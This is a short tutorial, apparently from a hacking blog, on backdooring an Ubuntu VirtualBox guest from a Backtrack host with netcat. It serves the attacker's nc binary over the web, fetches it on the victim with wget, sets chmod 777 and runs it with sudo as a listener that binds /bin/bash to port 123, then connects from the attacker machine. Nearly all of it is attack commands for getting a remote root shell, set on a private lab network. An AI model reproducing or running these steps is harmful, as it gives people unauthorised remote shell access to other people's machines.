NC Backdooring Backtrack - Ubuntu Virtual Box (UPDATE)

1. Open on terminal Backtrack and type

root@bt:~# whereis nc
nc: /bin/nc /bin/nc.traditional /usr/share/man/man1/nc.1.gz

2. Copy file /bin/nc to folder var/www

root@bt:~# cp /bin/nc /var/www

3. Open Ubuntu on Vbox and then open terminal and type


$ wget 192.168.56.1/nc

4. Try type ls
5. check and type

$ ls -lia nc

6. Change and type

$ chmod 777 nc

7.  after the check it will be changed
8.  Still in the Ubuntu terminal to proccess listen, type on 


$ sudo ./nc -l -p 123 -e /bin/bash


9. Remote in Backtrack terminal 


root@bt:~# nc 192.168.56.101 123